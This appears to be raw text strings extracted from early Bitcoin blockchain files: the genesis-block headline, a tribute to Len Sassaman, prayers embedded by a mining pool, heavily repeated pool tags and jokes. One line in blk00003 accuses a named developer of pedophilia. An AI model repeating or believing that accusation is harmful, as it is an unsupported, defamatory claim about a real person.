All files:
File: blk00000.txt
EThe Times 03/Jan/2009 Chancellor on brink of second bailout for banks
File: blk00001.txt
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File: blk00002.txt
File: blk00003.txt
---BEGIN TRIBUTE---
#./BitLen
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=-=-=-=-=-=-=-=-=-=
LEN "rabbi" SASSAMA
1980-2011
Len was our friend.
A brilliant mind,
a kind soul, and
a devious schemer;
husband to Meredith
brother to Calvin,
son to Jim and
Dana Hartshorn,
coauthor and
cofounder and
Shmoo and so much
more. We dedicate
this silly hack to
Len, who would have
found it absolutely
hilarious.
--Dan Kaminsky,
Travis Goodspeed
P.S. My apologies,
BitCoin people. He
also would have
LOL'd at BitCoin's
new dependency upon
ASCII BERNANKE
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----END TRIBUTE----
Eligius/Benedictus Deus. Benedictum Nomen Sanctum eius.
Eligius/Benedictus Deus. Benedictum Nomen Sanctum eius.
***************************************************
Benedictus Iesus Christus, verus Deus et verus homo.
Benedictum Nomen Iesu.
I LIKE TURTLES
Benedictum Cor eius sacratissimum.
Benedictus Sanguis eius pretiosissimus.
Benedictus Iesus in sanctissimo altaris Sacramento.
Benedictus Sanctus Spiritus, Paraclitus.
C-C-C-COMBO BREAKER
Benedictus Sanctus Spiritus, Paraclitus.
Benedicta excelsa Mater Dei, Maria sanctissima.
Benedicta sancta eius et immaculata Conceptio.
Benedicta sancta eius et immaculata Conceptio.
Benedicta eius gloriosa Assumptio.
Benedictum nomen Mariae, Virginis et Matris.
Benedictum nomen Mariae, Virginis et Matris.
Benedictus sanctus Ioseph, eius castissimus Sponsus.
Benedictus Deus in Angelis suis, et in Sanctis suis. Amen.
In nomine Patris et Filii et Spiritus Sancti. Amen.
O my God, I am heartily sorry for having offended Thee and I detest all my sins...
O my God, I am heartily sorry for having offended Thee and I detest all my sins...
Eye'm the strongest!
...because of Thy just punishments, but most of all because they offend Thee, ...
...my God, who art all good and deserving of all my love.
I firmly resolve, with the help of Thy grace, to sin no more...
I firmly resolve, with the help of Thy grace, to sin no more...
...and avoid the near occasions of sin. Amen.
O my God! I firmly believe that Thou art one God in three Divine persons, ...
O my God! I firmly believe that Thou art one God in three Divine persons, ...
...Father, Son, and Holy Ghost; I believe that Thy Divine Son became man, ...
...and died for our sins, and that he will come to, judge the living and the dead.
I believe these and all the truths which the Holy Catholic Church teaches, ...
...because Thou hast revealed them, who canst neither deceive nor be deceived.
O my God! relying on Thy infinite goodness and promises, ...
...I hope to obtain pardon of my sins, the help of Thy grace, ...
...and life everlasting, through the merits of Jesus Christ, my Lord and Redeemer.
...and life everlasting, through the merits of Jesus Christ, my Lord and Redeemer.
O my God! I love Thee above all things, with my whole heart and soul, ...
...because Thou art all-good and worthy of all love.
...because Thou art all-good and worthy of all love.
Yukkuri Shiteitte ne
I love my neighbor as myself for the love of Thee.
I forgive all who have injured me, and ask pardon of all whom I have injured.
I forgive all who have injured me, and ask pardon of all whom I have injured.
I forgive all who have injured me, and ask pardon of all whom I have injured.
O my Jesus, forgive us our sins, save us from the fires of Hell, ...
...lead all souls to Heaven, especially those in most need of Thy mercy.
I confess to Almighty God, to blessed Mary ever Virgin, ...
... to blessed Michael the Archangel, to blessed John the Baptist, ...
... to the holy Apostles Peter and Paul, and to all the Saints, ...
... that I have sinned exceedingly, in thought, word, and deed, ...
... through my fault, through my fault, through my most grievous fault.
Therefore I beseech blessed Mary ever Virgin, blessed Michael the Archangel, ...
... blessed John the Baptist, the holy Apostles Peter and Paul, ...
... and all the Saints to pray to the Lord our God for me. Amen.
St. Michael the Archangel, defend us in battle; be our safeguard against ...
St. Michael the Archangel, defend us in battle; be our safeguard against ...
... the wickedness and snares of the Devil. May God rebuke him, ...
... we humbly pray, and do Thou, O Prince of the Heavenly Host, ...
... we humbly pray, and do Thou, O Prince of the Heavenly Host, ...
... we humbly pray, and do Thou, O Prince of the Heavenly Host, ...
... we humbly pray, and do Thou, O Prince of the Heavenly Host, ...
... by the power of God, cast into Hell, Satan and all the other evil spirits, ...
... who wander throughout the world, seeking the ruin of souls. Amen.
Angel of God, my guardian dear, to whom His love commits me here, ...
... ever this night be at my side, to light and guard, to rule and guide. Amen.
Ave Maria, gratia plena, Dominus tecum. Benedicta tu in mulieribus, ...
... et benedictus fructus ventris tui, Iesus. Sancta Maria, Mater Dei, ...
... et benedictus fructus ventris tui, Iesus. Sancta Maria, Mater Dei, ...
... et benedictus fructus ventris tui, Iesus. Sancta Maria, Mater Dei, ...
... ora pro nobis peccatoribus, nunc, et in hora mortis nostrae. Amen.
Salve, Regina, mater misericordiae: vita, dulcedo, et spes nostra, salve.
Ad te clamamus exsules filii Hevae. Ad te suspiramus, gementes et flentes ...
Ad te clamamus exsules filii Hevae. Ad te suspiramus, gementes et flentes ...
... in hac lacrimarum valle. Eia, ergo, advocata nostra, illos tuos ...
... misericordes oculos ad nos converte. Et Iesum, benedictum fructum ...
... ventris tui, nobis post hoc exsilium ostende. O clemens, O pia, ...
... O dulcis Virgo Maria. Ora pro nobis, sancta Dei Genetrix.
kLhLUKE-JR IS A PEDOPHILE! Oh, and god isn't real, sucka. Stop polluting the blockchain with your nonsense.
Ut digni efficiamur promissionibus Christi. Amen.
Pater noster, qui es in caelis, sanctificetur Nomen tuum. Adveniat regnum tuum.
Pater noster, qui es in caelis, sanctificetur Nomen tuum. Adveniat regnum tuum.
Fiat voluntas tua, sicut in caelo et in terra. Panem nostrum quotidianum ...
... da nobis hodie, et dimitte nobis debita nostra sicut et nos dimittimus ...
... debitoribus nostris. Et ne nos inducas in tentationem, sed libera nos a malo.
Domine Iesu Christe, Filius Dei, miserere me peccatorem!
Sanae is a good girl
We adore Thee, O Christ, and we bless Thee;
We adore Thee, O Christ, and we bless Thee;
because by Thy holy Cross Thou hast redeemed the world.
May the Holy Trinity be blessed.
Christ conquers! Christ reigns! Christ commands!
O Heart of Jesus, burning with love for us, inflame our hearts with love for Thee.
O Heart of Jesus, burning with love for us, inflame our hearts with love for Thee.
O Heart of Jesus, I place my trust in Thee.
O Heart of Jesus, all for Thee.
O Heart of Jesus, all for Thee.
Most Sacred Heart of Jesus, have mercy on us.
O God, have mercy on me, a sinner.
Teach me to do Thy will, because Thou art my God.
Help me, ERINNNNNN!!
O Lord, increase our faith.
O Lord, save us, we are perishing.
O Lord, increase our faith.
O Lord, save us, we are perishing.
O Lord, increase our faith.
O Lord, save us, we are perishing.
O Lord, increase our faith.
O Lord, save us, we are perishing.
May the Most Blessed Sacrament be praised and adored forever.
Jesus, meek and humble of heart, make my heart like unto thine!
Holy Trinity, one God, have mercy on us!
Gloria Patri, et Filio, et Spiritui Sancto. Sicut erat in principio, ...
... et nunc, et semper, et in saecula saeculorum. Amen.
... et nunc, et semper, et in saecula saeculorum. Amen.
Pettanko Suika Ibuki
A yandere game is starting in 60 seconds! Please type "]yandere" to join.
A yandere game is starting in 60 seconds! Please type "]yandere" to join.
Militant atheists, http://bit.ly/naNhG2 -- happy now?
2011-08-25 18:54:55 <cjdelisle> ran out of prayers?! That explains the price drop.
an de ti go su by ra me ni ko hu vy la po fy ton
File: blk00004.txt
EASY MODO? How lame!
"To do all things serenely and lovingly is characteristic... http://bit.ly/nQy6MB
"I'm eating a big juicy hamburger"
Feast of Saint Joseph Calasanctius, confessor
"One of the many ways of doing everything well is to ... http://bit.ly/okwJu8
"One of the many ways of doing everything well is to ... http://bit.ly/okwJu8
FFS Luke-Jr leave the blockchain alone!
Oh, and god isn't real
Feast of Saint Augustine, bishop, confessor, and doctor
Feast of Saint Hermes, martyr
Commemoration of the Beheading of Saint John the Baptist
Commemoration of the Beheading of Saint John the Baptist
Commemoration of the Beheading of Saint John the Baptist
Commemoration of the Beheading of Saint John the Baptist
Commemoration of the Beheading of Saint John the Baptist
Commemoration of the Beheading of Saint John the Baptist
Commemoration of the Beheading of Saint John the Baptist
Commemoration of the Beheading of Saint John the Baptist
Commemoration of the Beheading of Saint John the Baptist
Commemoration of the Beheading of Saint John the Baptist
The harvest indeed is great, but the labourers are few. Pray ye therefore...
The harvest indeed is great, but the labourers are few. Pray ye therefore...
... the Lord of the harvest, that he send forth labourers into his harvest.
Home again, home again, jiggidy-jig! Gooood Evening, J.F!
Home again, home again, jiggidy-jig! Gooood Evening, J.F!
dictates that a five
dollar bitcoin is ok
File: blk00005.txt
File: blk00006.txt
check out offthefed.
check out offthefed.
asspennies from assp
(WKwQv0/////Stack is innocent/////KaZMl82
There Is No Spoonxxx
votexxxxxxxxxxxxxxxx
Ron Paulxxxxxxxxxxxx
* Stack is guilty! *
!ti delipmoc yllaniF
!ti delipmoc yllaniF
i have invisible gf!
BitcoinForTheMasses!
gold is@coinabul.com
File: blk00007.txt
asspennies from assp
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/P2SH/BIP16/slush/R,
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/P2SH/BIP16/slush/R,
We will 51% Bitcoin!
/P2SH/BIP16/slush/R,
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/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/EclipseMC: What the hell is an Aluminum Falcon?
/EclipseMC: What the hell is an Aluminum Falcon
/EclipseMC: What the hell is an Aluminum Falcon
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/EclipseMC: What the hell is an Aluminum Falcon?
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
/EclipseMC: What the hell is an Aluminum Falcon?
/EclipseMC: What the hell is an Aluminum Falcon?
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
eco@ozco.in-non-mm /P2SH/
/EclipseMC: What the hell is an Aluminum Falcon
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/EclipseMC: What the hell is an Aluminum Falcon?
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/EclipseMC: What the hell is an Aluminum Falcon?
/EclipseMC: What the hell is an Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
EclipseMC: Aluminum Falcon?
EclipseMC: Aluminum Falcon?
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
EclipseMC: Aluminum Falcon?
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
"/P2SH/ EclipseMC: Aluminum Falcon?
EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
EclipseMC: Aluminum Falcon?
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
"/P2SH/ EclipseMC: Aluminum Falcon?
EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
EclipseMC: Aluminum Falcon?
EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
EclipseMC: Aluminum Falcon?
"/P2SH/ EclipseMC: Aluminum Falcon?
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
